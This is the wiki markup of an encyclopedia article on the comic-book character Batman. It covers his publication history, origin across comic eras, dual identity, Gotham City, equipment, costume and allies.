|aliases=The Bat, the Dark Knight, the Masked Manhunter, the Caped Crusader, [[Matches Malone]], Bats, the Dynamic Duo (with [[Robin (comics)|Robin]])
|relatives=[[Thomas Wayne]] (father, deceased), Martha Wayne (mother, deceased), Phillip Wayne (uncle and foster father, deceased), Alfred Pennyworth (butler and foster father), [[Dick Grayson]] (adopted son), [[Jason Todd]] (adopted son); [[Huntress#Helena Wayne|Helena Wayne]] (daughter, deceased; [[Multiverse (DC Comics)#Earth-Two|Earth-Two]] continuity),  
|powers=None. However, he is a [[genius]], in peak human physical condition, and has vast personal [[wealth]] and access to custom equipment. He is also a master detective and one of the greatest martial artists in the [[DC Universe]].
|}}

The [[DC Comics]] [[superhero]] '''Batman''' (originally and still sometimes referred to as '''the Batman''' or '''the Bat-Man''') is a [[fictional character]] who first appeared in ''[[Detective Comics]]'' #27 in May [[1939]]. He has since become, along with [[Superman]] and [[Spider-Man]], one of the world's most well-known comic-book characters.&lt;ref&gt;The [[United Kingdom|British]] newspaper ''[[The Guardian]]'' has lauded Batman as &quot;the perfect cultural artefact for the 21st century&quot; in an article about Batman's anniversary [http://www.guardian.co.uk/g2/story/0,,314504,00.html].&lt;/ref&gt; Batman was co-created by artist [[Bob Kane]] and writer [[Bill Finger]], although only Kane receives official credit for the character.  

His true identity is '''Bruce Wayne''', billionaire [[industrialist]], [[Wiktionary:playboy|playboy]], and [[philanthropist]]. Witnessing the murder of his parents as a child led him to train himself to the peak of physical and intellectual perfection, don a costume, and fight crime. Unlike many other [[superhero]]es, he does not possess superhuman powers or abilities; he makes use of intellect, detective skills, technology, and physical prowess in his war on crime.

==Publication history==

[[Image:Detective27.JPG|thumb|left|150px|''[[Detective Comics]]'' #27 (May 1939). The first appearance of Batman.  Art by [[Bob Kane]].]]

In early 1939, the success of [[Superman]] in ''[[Action Comics]]'' prompted editors at the comic book division of [[National Publications]] (later [[DC Comics]], D.C. is short for ''Detective Comics'', now a subsidiary of [[Time Warner]]) to request more superheroes for their titles. In response, [[Bob Kane]] created a character called &quot;the Bat-Man&quot;. His collaborator [[Bill Finger]] offered such suggestions as giving the character a cowl instead of a simple domino mask, wearing a cape instead of wings, wearing gloves, and removing the red sections from the original costume. Finger wrote the first Batman story and Kane provided the art. The Batman was a breakout hit, with sales on ''Detective Comics'' soaring to the point that National's comic book division was renamed &quot;Detective Comics, Inc.&quot; 

Kane signed away any ownership that he might have in the character in exchange for, among other compensation, a mandatory byline on all Batman comics stating &quot;Batman created by Bob Kane&quot;. At the time, no comic books and few company-owned comic strips were explicitly credited to their creative teams. Bill Finger's contract, by comparison, left him with little money and without a byline, even on comics he had written. Finger, like [[Joe Shuster]], [[Jerry Siegel]], and many other creators during and after the [[Golden Age of Comic Books]], would resent National for denying him money and credit he felt he was owed for his creations.  By the time Finger died in 1974, he had never been officially credited for his work. Kane himself, however, willingly acknowledged Finger's contributions to the character.  

[[Image:BatmanComicIssue1,1940.gif|thumb|right|150px|''Batman'' #1 ([[Spring (season)|Spring]] 1940). Art by [[Bob Kane]] and [[Jerry Robinson]].]]

===Evolution of the character===

Inspirations for Batman's personality, character history, visual design and equipment include movies such as [[Douglas Fairbanks | Douglas Fairbanks]]' ''[[The Mark of Zorro (1920 film)|The Mark of Zorro]]'', ''[[The Bat (1926 movie)|The Bat]]'', and [[Dracula]]; characters such as [[the Shadow]], [[Sherlock Holmes (character)|Sherlock Holmes]], [[Dick Tracy]], [[the Green Hornet]], and [[Spring Heeled Jack]]; and even the technical drawings of [[Leonardo Da Vinci]].

Early Batman stories were often presented in the grim tone of the [[film noir]] and [[gothic horror]] films of the day; a few stories even present Batman making use of firearms, and the vigilante showed little remorse over his enemies' deaths. Unsurprisingly, the body count in the first dozen or so published Batman stories was quite high. 

This interpretation of Batman began to soften in ''Detective Comics'' #38&lt;ref&gt;{{Comic book reference | writer=[[Bill Finger|Finger, Bill]] | penciller=[[Bob Kane|Kane, Bob]] | inker=[[Jerry Robinson|Robinson, Jerry]] | story=Robin the Boy Wonder | title=[[Detective Comics]] | volume=1 | issue=38 | date=[[April]], [[1940]] | publisher=[[National Comics]] }}&lt;/ref&gt; in 1940. Dick Grayson/[[Robin (comics)|Robin]] (named after [[Robin Hood]]) was introduced based on Finger's suggestion to Kane that Batman needed a &quot;Watson&quot;. In ''Batman'' #7, (1941) Batman was made an honorary member of Gotham City's [[police]] department, moving him even further from his dark, vigilante roots. Batman's tone continued to stay lighter for the next several decades.

In ''[[Superman (comic book)|Superman]]'' #76 (1952), Batman first teamed up with Superman and learned his secret identity; following the success of this story, the separate Batman and Superman features that had been running in ''[[World's Finest Comics]]'' instead featured both together; this series of stories ran until the book's cancellation in 1986.  The stories featured the two as close friends and allies, tackling threats that required both of their talents.

Starting in the mid-1950s, Batman's stories gradually became more [[science fiction]] oriented in tone, an attempt at mimicking the success of the top-selling ''Superman'' comics of the time.  New characters such as [[Batwoman]], [[Ace the Bat-Hound]], and [[Bat-Mite]] (the latter two paralleling [[Krypto|Krypto the Superdog]] and [[Mr. Mxyzptlk]] of the Superman titles) appeared.  Batman also began having various adventures involving either odd transformations or dealing with bizarre space aliens.  Batman was a highly public figure during the stories of the 1950s as well, regularly appearing at such events as charity functions, and also frequently appearing in broad daylight.  In 1960, Batman also became a member of the [[Justice League|Justice League of America]], which debuted in ''[[The Brave and the Bold]]'' #28.

[[Image:Batman227.jpg|thumb|left|160px|''Batman'' #227 (December 1970). An example of Batman's return to a more gothic atmosphere during the 1970s. Art by [[Neal Adams]].]]

Editor [[Julius Schwartz]] presided over drastic changes made to a number of DC's comic book characters, including Batman in 1964's ''Detective Comics'' #327.  Schwartz introduced changes designed to make Batman more contemporary and return him to more detective stories, including a redesign of Batman's equipment, the Batmobile, and his costume (introducing the yellow ellipse behind the costume's bat-insignia), and brought in artist [[Carmine Infantino]] to help in this makeover.  The space aliens and characters of the 1950s such as Batwoman, Ace, and Bat-Mite were retired.  This makeover soon became known as the &quot;New Look&quot; Batman. Julius Schwartz also created Aunt Harriet to live with Bruce and Dick. This influenced the [[Camp (style)|camp]]y [[Adam West]] Batman parody TV series in 1966, which ran until 1968. 

Writer [[Denny O'Neil]] and artist [[Neal Adams]] made additional changes to Batman when they started working on the comic, reintroducing some of Batman's earlier grimmer elements, starting with ''Detective Comics'' #395 &quot;The Secret of the Waiting Graves&quot; (1970). Dick Grayson was sent off to college the previous year, which also made Batman once again a loner. O'Neil's tone influenced Batman's comics through the rest of the 1970s and into the 1980s; 1977 and 1978's stories in ''Detective Comics'' written by [[Steve Englehart]] (with art by [[Marshall Rogers]]) are held by many as a high point of this era.

[[Image:Dark knight returns.jpg|thumb|right|The first issue of ''The [[Dark Knight Returns]],'' which redefined Batman in the 1980s.]]

Writer [[Frank Miller]] grounded Batman further in his grim and gritty roots with the comic book [[limited series]] ''[[The Dark Knight Returns]]'' (1986), which takes place in a possible future, and 1987's four-issue storyline ''[[Batman: Year One]]''. ''[[The Dark Knight Returns]]'''s popularity was nothing short of phenomenal, and raised sales for comics across the board. [[Alan Moore]] and Brian Bolland continued this dark trend with 1988's ''[[Batman: The Killing Joke]]'', in which the Joker crippled Batgirl [[Barbara Gordon]], kidnapped [[Commissioner Gordon]] (her father) and attempted to drive him insane through physical torture and showing him nude photos of his critically injured daughter. These stories and others like them helped to raise the image of comic books beyond mere children's entertainment. ''[[The Dark Knight Returns]]'' and stories following it (such as [[John Byrne]]'s Superman revamp) also severed the close friendship of Batman and Superman, replacing it with a more antagonistic relationship.

Stories like these, in turn, have set the tone for the last two decades of Batman comics. [[Tim Burton]]'s Batman movies, Warner Bros' ''[[Batman (1989 movie)|Batman]]'' and ''[[Batman Returns]]'' also featured a darker, more Gothic Batman; the popularity of those movies in turn led to the noir-ish [[Batman: The Animated Series]]. The ongoing comic book series, meanwhile, has continued in this gritty trend and this tone has served to inspire imitators in other comic books and films.

''[[Batman: Year One]]'' was also significant in that it was set in, and significantly revised, Batman's early days. Since the original publication of ''Year One'', many creators have set their stories in Batman's formative years, and the Batman title ''[[Legends of the Dark Knight]]'' in particular often features stories that take place in Batman's early days. Many of the stylistic notes of ''Year One'', specifically text captions designed to look handwritten on note paper, have also been used quite successfully by other authors. In addition the general concept of a ''Year One'' book, taking a fresh look at the origins of an older character, as well as showing their learning process, has been embraced by the comics industry as a whole. Other comics which have since gotten the 'Year One' treatment include [[Spider-Man]] and the [[Justice League]].

Batman's evolution continued through the late 1980's and into the 1990s and 2000s. 1988 saw [[Jason Todd]], the second [[Robin]], killed by the Joker, and in the years following this, Batman took an even darker, often excessive approach to his crimefighting. 1993's ''[[Knightfall]]'' series introduced a new villain named Bane, who critically injured Batman. Jean-Paul Valley, also known as [[Azrael (comics)|Azrael]], was called upon to wear the costume of Batman during Bruce's convalescence. 1994's ''[[Zero Hour (comics)|Zero Hour]]'' storyline, the ideas of Batman as not having caught his parent's killer and of being an [[urban legend]] were first introduced.

In 1998, Gotham City was destroyed during the [[Cataclysm (comics)|Cataclysm]] storyline, and Batman becomes deprived of many of his technological resources, forcing him to reconnect with the more mythical side of his persona. DC's 2005 crossover event ''[[Identity Crisis (comics)|Identity Crisis]]'', had Batman discovering that JLA member [[Zatanna]] had edited his memories, which led to Batman losing trust in the rest of the superhero community.

==Character history==
[[Image:Batman 06.jpg|thumb|200px|The Batman.]]

Over the years, Batman's origin story, history and tone have undergone various revisions, both minor and major. Some elements have changed drastically; others, like the death of his parents and his pursuit of justice, have remained constant.

Consistent across all versions of the Batman [[mythos]], Batman is the alter-ego of '''Bruce Wayne''', a [[millionaire]] or [[billionaire]] (depending on time period) [[playboy (disambiguation)|playboy]], [[industrialist]] and [[philanthropist]] who was driven to fight [[crime]] in [[Gotham City]] after his parents, the [[physician]] [[Thomas Wayne|Dr. Thomas Wayne]] and his wife Martha Wayne, were murdered before his eyes in a petty street crime.

===Golden Age version===
The [[Golden Age of Comic Books|Golden Age]] Batman's origin was first presented in ''Detective Comics'' #33 in November 1939, and was later fleshed out in ''Batman'' #47, the 1985 four-issue [[limited series]] ''America vs. the Justice Society'' and 1986's ''Secret Origins'' (volume 2) #6. 

As these comics state, Bruce Wayne was born in the late 1910s to Dr. Thomas Wayne and his wife Martha, two wealthy Gotham City socialites. Bruce was brought up in Wayne Manor and its wealthy splendor and led a happy and privileged existence until the age of eight, when his parents were killed by a small-time criminal named [[Joe Chill]] on their way home from the movie theater. Bruce was subsequently raised at Wayne Manor by his uncle, Philip Wayne.

Bruce Wayne swore an oath to rid the city of the evil that had taken his parents' lives. He engaged in intense intellectual and physical training and studied a variety of areas which would aid him in his endeavors, including [[chemistry]], [[criminology]], [[forensic]]s, [[martial arts]], and [[gymnastics]], as well as theatrical skills like [[disguise]], [[escapology]], and [[ventriloquism]]. He realized, however, that these skills alone would not be enough.

&quot;Criminals are a superstitious and cowardly lot,&quot; said Wayne, &quot;so my disguise must be able to strike terror into their hearts. I must be a creature of the night, black, terrible...&quot; As if responding to his desires, a bat suddenly flitted through the window, inspiring Bruce to assume the persona of Batman. His debut as the Caped Crusader 1939 initially earned him the ire of the police; however, his relations with the law thawed by the early 1940s. 

[[Image:Detective38.JPG|left|thumb|175px|''Detective Comics'' #38 (May 1940), the first appearance of Robin.  Art by [[Bob Kane]] and [[Jerry Robinson]].]]

In 1940, Bruce took in the orphaned circus acrobat Dick Grayson, who became his sidekick, Robin. Also in late 1940, Batman became a founding member of the [[Justice Society of America]] (''DC Special'' #29).

Batman continued to function in Gotham City through the 1940s and into the 1950s. After the introduction of DC Comics' [[Multiverse (DC Comics)|multiverse]] in the 1960s, it was retroactively established that the Golden Age Batman lived on the parallel world of [[Multiverse (DC Comics)#Earth-Two|Earth-Two]]. It was also revealed that in the mid-1950s, Bruce Wayne had partnered with [http://members.fortunecity.com/retcon/page17.html] and soon married the reformed [[Catwoman]], Selina Kyle (as shown in ''[[Superman Family]]'' #211); the two had their first and only child in 1957, [[Huntress (comics)|Helena Wayne]]. Batman's activities soon lessened, as he went into semi-retirement, only returning to action to engage in special cases, with Robin taking over much of his functioning in Gotham City. Upon the retirement of Commissioner Gordon, Bruce Wayne took over the post of Gotham City police commissioner.

In the late 1970s, Bruce Wayne's life became tumultuous, as he dealt with the death of his wife Selina, who was blackmailed by criminals into going into action one more time as Catwoman, which proved fatal to her (as seen in ''DC Super-Stars'' #17). After Selina's death, Bruce permanently retired as Batman. Eventually, Bruce Wayne was forced to go into action again as Batman, when a criminal named Bill Jensen had gained superpowers from a sorcerer named Frederic Vaux. Jensen and Wayne fought each other, with Jensen eventually using his powers to destroy both himself and Batman[http://members.fortunecity.com/retcon/page12.html]. After this, Wayne was laid to rest next to his wife Selena; after Vaux was defeated, the sorcerer [[Dr. Fate]] used his powers to erase from human memory the knowledge of Wayne's secret identity, making all think the two had perished at almost the same time. (''[[Adventure Comics]]'' #461-463).

After the 1985 12-issue [[limited series]] ''[[Crisis on Infinite Earths]]'', this version of Batman, and all memory of his existence, was retroactively erased (along with Earth-Two's Robin and Huntress).

===Silver Age version===
From the 1950s through the 1970s, various new elements were added to Batman's origin, background and history. The [[Silver Age of comic books|Silver Age]] Batman first appeared sometime in the mid-1950s, with an origin that was (as revealed in various stories in the ensuing decades) similar to that of the Golden Age version of Batman. While the Golden Age and Silver Age distinctions are useful for discussing the character's evolution over the decades, the character's evolution was gradual; like [[Superman]], [[Wonder Woman]], [[Green Arrow]], and [[Aquaman]]---the other major superheroes to be continuously published through the 1950s without break---there is no specific comic issue at which the Golden Age version gave way to the Silver Age version. Likewise, the character as he appeared near the beginning of the Silver Age (in the mid-1950s) was different in many ways than he appeared near the end of the Silver Age (in the mid-1980s), due to many minor revisions and new directions in the character's publication history.

As summarized in various stories, including 1980's ''the Untold Legend of the Batman'' [[limited series]] that thoroughly retold Batman's Silver Age origin and history, Bruce Wayne was raised by wealthy socialites Dr. Thomas and Martha Wayne in Wayne Manor. As a child, Bruce saw his parents murdered at the age of eight by small-time criminal Joe Chill, after which he was raised by his uncle Philip Wayne. Bruce swore to seek revenge on all criminals, and launched himself into a lifetime of dedicated training similar to the Golden Age Batman's training.

At some point early in his training, Bruce wore a costume similar to that of the future Robin's, in order to anonymously receive training from Gotham City police detective Harvey Harris (''Detective Comics'' #226). He and his guardians also visited [[Smallville]], where he met the youthful superhero [[Superboy]] and worked with him on several cases.

Bruce Wayne went on to attend college, taking various criminology and law related courses, but soon decided that being a police officer wasn't the path he should take. After graduating, Bruce, while pondering alone in his study on how to handle criminals, sees a bat fly through his study window, and decides to create a bat costume, calling himself &quot;the Batman&quot;.

Sometime after the start of his crimefighting career, Bruce took in an orphan named Dick Grayson, whose parents had been killed by gangster Boss Zucco and his henchmen, and trained him as his sidekick, Robin.

[[Image:Batman superman.jpg|thumb|200px|Batman and Superman; World's Finest. Art by [[Jim Lee]] and [[Alex Ross]].]]

In ''Detective Comics'' #235 (September 1956), Batman learned that his parents' killing had not been chance, but an assassination ordered by gangster Lew Moxon. As a child, Bruce's father had worn a bat costume (similar to Batman's future costume) to a [[masquerade party]], where he encountered and stopped the mobster. Moxon swore revenge against Dr. Wayne, and hired the criminal Joe Chill to arrange a mugging that would result in their deaths. Batman soon tracked down Moxon (while wearing his father's bat costume, his usual costume having been torn while in action), but Moxon, recognizing the costume, inadvertently fled into the middle of traffic in a state of panic, where he was struck by a truck and killed.

Batman soon went on to meet and regularly work with other heroes, most notably Superman, who he began regularly working alongside in a series of teamups in ''[[World's Finest Comics]]'', starting in 1954 and continuing through 1986. Batman and Superman were usually shown as being close friends.
Batman also went on to become a founding member of the [[Justice League|Justice League of America]], appearing in their first story in 1960's ''[[Brave and the Bold]]'' #28. In the 1970s and 1980s, ''Brave and the Bold'' became a Batman title, where Batman would teamup with a different [[DC Universe]] superhero each month.

The early Silver Age Batman stories of the late 1950s and early 1960s often featured heavy amounts of science-fiction elements; starting in 1964's ''Detective Comics'' #327, Batman had reverted to his detective roots, with said science-fiction elements jettisoned.

In 1969, Dick Grayson was sent to college as part of a revision effort of the Batman comics; Bruce also subsequently decided to move from Wayne Manor into a penthouse apartment on top of the Wayne Foundation building in downtown Gotham City, in order to be closer to Gotham City and its crimes as Batman. Bruce spent the 1970s and early 1980s mainly working solo, with occasional teamups with Robin and/or [[Batgirl]]. Batman's adventures also became somewhat darker and grimmer during this period, with the Masked Manhunter often dealing with increasingly violent crimes, including the first appearance (since the early Golden Age) of an insane, murderous [[The Joker|Joker]].

In the early 1980s, Bruce Wayne once more took on a new sidekick, upon Dick Grayson's decision to strike out on his own as his own superhero, [[Nightwing]]. Bruce took in a youth named Jason Todd, who had a background similar to Dick Grayson's (having been a circus acrobat whose family was killed by [[Killer Croc]]). After training, Jason took on the role of Robin.

===Modern Age version===
After the 12-issue [[limited series]] ''[[Crisis on Infinite Earths]]'', DC &quot;rebooted&quot; or revised the histories of some of their major characters in an attempt at updating them for then-contemporary audiences. Frank Miller retold Batman's origin in the storyline ''[[Batman: Year One]]'', which emphasized a grittier tone to the character; unlike the reboots given to Superman and Wonder Woman's histories, however, various stories of Batman's Silver Age/pre-''Crisis'' career remained canonical in the post-''Crisis'' universe.

Batman's evolution continued through the late 1980s, notably with 1988's &quot;A Death in the Family&quot; storyline, readers were allowed to call in a 1-900 number to decide whether or not [[Jason Todd]], the second [[Robin]], lived or died (the readers voted to have Jason killed by a narrow margin). In 1993's ''[[Knightfall]]'' series, Bruce Wayne was critically injured by [[Bane (comics)|Bane]], a new villain, and a new hero, [[Azrael (comics)|Azrael]], was called upon to wear the costume of Batman. As time passed, Azrael became increasingly violent; after a year, a healed Bruce Wayne defeated Azrael and took back the mantle of Batman. In 1994's ''[[Zero Hour (comics)|Zero Hour]]'' storyline, the ideas of Batman as not having caught his parent's killer and of being an [[urban legend]] were first introduced.

In 1998, Gotham City was destroyed during the [[Cataclysm (comics)|Cataclysm]] storyline, and Batman became deprived of many of his technological resources, forcing him to reconnect with the more mythical side of his persona. (Gotham was rebuilt at the end of &quot;[[No Man's Land (comics)|No Man's Land]]&quot; storyline.)

In DC's 2005 crossover event ''[[Identity Crisis (comics)|Identity Crisis]]'', the discovery that JLA member [[Zatanna]] had edited his memories led to Batman's deep loss of trust in the rest of the superhero community. His creation of the [[OMAC (comics)|Brother I]] satellite surveillance system to watch over the other heroes, and its eventual co-opting by the villainous Checkmate, has been one of the main precursor events of the follow up event ''[[Infinite Crisis]]'', currently in progress.

==Personae==
===Bruce Wayne===
To the world at large, Bruce Wayne is an irresponsible, superficial playboy who lives off his family's personal fortune (amassed when Bruce's parents invested in Gotham real estate before the city was a bustling metropolis) and the profits of [[Wayne Enterprises]], a major private technological firm that he has inherited.  However, Wayne is also known for his contributions to charity, notably through the [[Wayne Foundation]], a [[foundation (charity)|foundation]] devoted to helping the victims of crime and preventing people from turning to it. Bruce Wayne's playboy public persona was created by Bruce to aid in throwing off suspicion of his secret identity.

===Dark Knight===
Bruce Wayne created Batman to strike fear into the hearts of Gotham's underworld. The costume&amp;ndash;and the way he acts while wearing it&amp;ndash;is meant to be as imposing and intimidating as possible. While Bruce Wayne is lighthearted and irresponsible, Batman is stoic and driven. In addition to the change in costume and personality, Bruce Wayne also significantly changes his voice to become Batman. The Dark Knight's voice is low and raspy, both as a disguise and as intimidation.

In keeping with the &quot;dark&quot; theme of the comics and the nature of bats, Batman is usually presented as operating primarily at night. In recent comics, the idea was introduced of Batman being an [[urban legend]]; however, this notion is contradicted by various previous stories that indicate otherwise.  In order to make up for this flaw in continuity, Batman was &quot;outed&quot; in [[War Games]], a story that stretched across all Batman titles, when his live image was broadcast over the news as he made a brief daytime appearance in front of a violence-overtaken high school in Gotham.

===Dual identities===
Like Superman, the prominent persona of Bruce Wayne's dual identities has varied with time. Present comics seem to favor portraying the decadent playboy aspect of his character (earlier versions of Bruce Wayne depicted him as a more mature, refined gentleman) as the facade, while the masked and particularly dark, grim vigilante is marked as the &quot;true&quot; man. 

Wayne guards his secret identity well, as only a handful of individuals know of his superhero alter-ego, including Alfred, [[Barbara Gordon|Oracle]], the [[Robin (comics)|Robins]], the members of the [[Justice League]], [[Catwoman]], [[Leslie Thompkins]], and a few others. Several villains have also discovered his true identity over the years, most notably eco-terrorist [[Ra's Al Ghul]], as well as [[Hugo Strange]], the [[Riddler]], [[Bane (comics)|Bane]], and [[Hush (comics)|Hush]]. Batman often acts dim-witted and self-absorbed as Bruce Wayne, the better to convince people there is no connection. Batman has made it clear that he considers keeping his secret identity his top priority; he has on various occasions come near to death rather than use his skills in public as Bruce Wayne.

===Matches Malone===
{{main|Matches Malone}}
Batman also occasionally goes undercover to infiltrate the criminal element of Gotham. Matches Malone was a small time thug who once acted as Batman's snitch; when Matches was killed, Batman assumed his identity. In the recent [[War Games]] storyline, it was revealed that Batman had a plan which would make Matches Malone the crime boss of Gotham, in effect giving Batman direct control over the criminals he stalks as Batman.

==Gotham City==
{{main|Gotham City}}
A fictional city modeled primarily after [[New York City]], it is Bruce Wayne's home and Batman's base of operation. In early ''Batman'' comics, he was located in [[New York City]]; &quot;Gotham&quot; is in fact a nickname for New York. Gotham is generally thought to be located on the northeast coast, and is located in [[New Jersey]] in several sources. Its architecture is tall and [[Gothic architecture|Gothic]], but it suffers from urban blight. It is generally portrayed as dirty, crime-ridden, and corrupt, in stark contrast to the bright, clean, futuristic feel of Superman's [[Metropolis (Superman)|Metropolis]]. Thomas and Martha Wayne were gunned down in Crime Alley, formerly Gotham's ritzy Park Row but now a slum.

===Bat-Signal===
One of the best-known elements of the Batman mythos is the Bat-Signal. When Batman  is needed, the Gotham City police activate a [[searchlight]] with a bat-shaped insignia over the lens that shines into the night sky, creating a bat-symbol on a passing cloud which can be seen from any point in Gotham. The idea of a [Whatever]-Signal has penetrated deeply into pop culture, and can be seen in hundreds of different places, both in images and speech.

In various incarnations, most notably the 1960s Batman TV show, Commissioner Gordon also has a phone line which connects directly to the Batcave.

===Batcave===
{{main|Batcave}}

The Batcave is Batman's secret headquarters, consisting of a series of subterranean caves beneath his residence, [[Wayne Manor]].  It serves as his command centre for both local and global surveillance, as well as housing his vehicles and equipment for the war on crime. It also is a storeroom for Batman's memorabilia. The Batcave is considered one of the most advanced centers of intelligence and technology in the world.

==Powers and abilities==
Unlike [[Superman]] and most other costumed heroes, Batman is a human being who does not possess any [[superhuman]] abilities.  However, he has elevated himself to near-superhuman status through years of rigorous training. Physically he is at the peak of human ability in dozens of areas, most notably [[martial arts]], [[acrobatics]], strength, and escape artistry. Intellectually he is just as peerless, being at once one of the world's greatest scientists, criminologists, and tacticians, as well as a master of disguise. Given his lack of superpowers, he often uses cunning and planning to outwit his foes, rather than simply out-fighting them. 

===Weaknesses===
Being human, Batman doesn't have any unusual weaknesses (like Superman's vulnerability to [[kryptonite]]) but has character flaws that can be exploited by enemies.  In modern comics, Batman is shown as being vastly paranoid by nature and tends to not trust other heroes, even those he has known for years, like [[Superman]]. Some enemies have used this to isolate Batman and play games with him.  Batman has also been portrayed as arrogant, treating many of his allies with various degrees of disrespect. He also sometimes overestimates his own abilities and allows foes to take advantage of that. These traits have developed over the last few decades, and older portrayals of Batman usually tend to show him as more willing to work with others. Additionally, his childhood trauma makes him emotionally distant from even those allies closest to him, and a common theme among the younger heroes he often works with (Robin, Nightwing, Oracle, etc.) is how hard it is to gain his approval.

===Equipment===
[[Image:USD205998.png|thumb|right|200px|The 1966 television Batmobile was built by [[George Barris (auto customizer)|George Barris]] from a [[Lincoln Futura]] [[concept car]].]]

Bruce designs the costumes, equipment, and vehicles he uses as Batman, which are produced by a division of Wayne Industries.  Over the years, he has accumulated a large arsenal of specialized [[gadget]]s (compare with the later [[James Bond]]).  The designs of most of Batman's equipment share a common theme of dark coloration with a bat motif.  A prime example is Batman's car, the ''[[Batmobile]]'', often depicted as an imposing black car with large tail fins that suggest a bat's wings; another is his chief throwing weapon, the ''[[batarang]]'', a bat-shaped [[boomerang]].  In proper practice, the &amp;quot;bat&quot; prefix (as in batmobile or batarang) is rarely used by Batman himself when referring to his equipment, especially as this has been stretched to [[Camp (style)|camp]] in some portrayals (namely the 1960s ''Batman'' [[Batman (1960s TV series)|live-action television show]] and the ''[[Super Friends]]'' [[animated series]]).  The 1960s live-action television show arsenal included such ridiculous, satirical &quot;bat-&quot; names as a bat-[[computer]], bat-rope, bat-scanner, bat-[[radar]], bat-handcuffs, bat-phone, bat-pontoons, bat-drinking water dispenser, bat-[[camera]] with polarized bat-filter, [[shark]] repellent bat-spray, bat-funnel, alphabet soup bat-container, and emergency bat-turn lever. In one episode, Batman and Robin stop by an outdoor hamburger stand which sells  &quot;bat-burgers&quot;, beef sandwiches supposedly named in his honor. 

Batman keeps most of his field equipment in a signature piece of apparel, a yellow [[Batman's utility belt|utility belt]].  Over the years it has contained a virtually limitless variety of crimefighting tools, such as plastic explosives, nerve toxins, batarangs, smoke bombs, a [[fingerprint]] kit, a laser cutting tool, a [[grappling hook]] gun, and a &quot;re-breather&quot; breathing device. Underneath the buckle is a ring made of [[kryptonite]], entrusted to Batman by [[Superman]] himself. Different versions of the belt have these items stored in either pouches or hard cylinders attached evenly around it.

In some of his early appearances, Batman used [[sidearm]]s (see especially ''Detective Comics'' #32, September 1939), but since that time, he has eschewed their use because his parents were murdered by a gunman.  Some stories have relaxed this rule to allow Batman to arm his vehicles for purposes of disabling other vehicles or removing inanimate obstacles. In the 1989 movie version, however, firearms figured more prominently in the Dark Knight's arsenal; machine guns and grenades were mounted on the Batmobile and missiles and machine cannons on the Batwing. Burton's Batman was not afraid to cause collateral damage and was willing to kill.

===Costume===
{{main|Batsuit}}

[[Image:Batman-JimLee2.jpg|175px|thumb|Batman's current costume. Art by [[Jim Lee]].]]

The details of the Batman costume have changed repeatedly through the character's evolution, but the most distinctive elements have remained consistent: a black scallop-hem cape; a cowl covering most of the face and featuring a pair of batlike ears; and a stylized bat emblem on the chest.  His gloves also typically feature three scallops that protrude from the sides.  In Christopher Nolan's ''Batman Begins'', these fins are made of metal and can be used as weapons or as grappling tools. The most significant costume variations over the year involve the chest emblem&amp;ndash;a yellow ellipse was added in 1964, and has come and gone since then&amp;ndash;and the color scheme, which are variously lighter colors (medium blue and light gray) or darker (black and dark gray). The length of the cowl's ears and of the cape vary greatly based on the artist.

The costume went through many changes as it evolved into its more or less standard style.  The first gloves were ordinary looking, lacked any sort of scalloped fins or other stylings, and only came to the wrists.  The second Batman adventure featured the character wearing no gloves at all.  A few issues later the gloves became longer, and by 1940 the familiar fins were added to the gloves. Another early curiosity was the cape, which at times seemed to attach to Batman's arms, giving it a more wing-like look.  The costume was also occasionally seen with a holster, as Batman sometimes carried a pistol in those days.

Batman keeps variant costumes for dealing with extraordinary situations; for example, he has been shown in a [[SCUBA]] variant of his costume, a fireproof version for fighting his enemy [[Firefly (comics)|Firefly]], as well as others. Many future versions of the hero, including those shown in ''[[The Dark Knight Returns]]'', ''[[Kingdom Come (comic)|Kingdom Come]]'' and ''[[Batman Beyond]]'', show him swapping his cloth costume for a suit of powered armor. More than in any comic book, however, Batman action figures have provided endless variant costumes, with over a hundred different toys including a samurai Batman, buccaneer Batman, cyborg Batman and so on.

==Supporting characters==
{{main|Supporting characters of Batman}}

[[Robin (comics)|Robin]] is perhaps Batman's most important ally; no fewer than five teenage [[sidekick]]s having served in the role:  Dick Grayson (the original Robin, later [[Nightwing]]), [[Jason Todd]], [[Tim Drake]], [[Spoiler (comics)|Stephanie Brown]] and Carrie Kelly in the non-canonical ''[[The Dark Knight Returns]]''. Both Jason Todd and Stephanie Brown were killed in the line of duty.

[[Image:Allstarbatmanandrobin01.jpg|thumb|left|175px|[[All Star Batman and Robin]] #1 (July 2005).  Art by [[Jim Lee]].]]

[[Alfred (comics)|Alfred Pennyworth]] is Bruce Wayne's loyal [[butler]] and father figure while [[Lucius Fox]] acts as his business manager. Former [[Chief of police|Police Commissioner]] [[James Gordon (comics)|James &quot;Jim&quot; Gordon]] worked closely with Batman despite their differences on how to best enforce the law. Barbara Gordon, Commissioner Gordon's red-haired daughter, previously fought crime at Batman's side as [[Batgirl]]; in recent comics, she became the computer [[Hacker (computer security)|hacker]] known as [[Oracle (comics)|Oracle]]. Most recently, Cassandra Cain assumed the Batgirl identity.

Jean-Paul Valley, also known as Azrael, briefly became Batman during the Knightfall Saga and is currently presumed dead. 

In pre-''Crisis'' continuity, the [[Huntress (comics)|Huntress]] was Helena Wayne, daughter to Earth-Two's Bruce Wayne and Selina Kyle (Catwoman). Post-''Crisis'', the Huntress' secret identity is Helena Bertinelli, who has no biological relations to Catwoman or Batman. Her willingness to kill makes her alliance with Batman extremely uneasy.

Batman is also supported by [[Superman]] and members of the [[Justice League|Justice League of America]] and the [[Outsiders (comics)|Outsiders]], both of which he is usually a part-time member. Superman especially crosses paths with Batman often, given that the two are DC Comics' most prominent characters. In pre-''Crisis'' continuity, the two were depicted as close friends, and appeared together monthly in the pages of ''[[World's Finest Comics]]''. In current continuity, the two are usually depicted as having an uneasy relationship, with an emphasis on their differing views on crimefighting and justice. The nickname &quot;World's Finest&quot; (taken from the ''World's Finest Comics'' title) is often used to describe Superman-Batman teamups. Currently, DC is publishing a monthly teamup title, called simply ''[[Superman/Batman]]''. In addition, Batman has a friendly rivalry with [[Mister Terrific (comics)|Mister Terrific]], his opposite number in the [[Justice Society of America]].

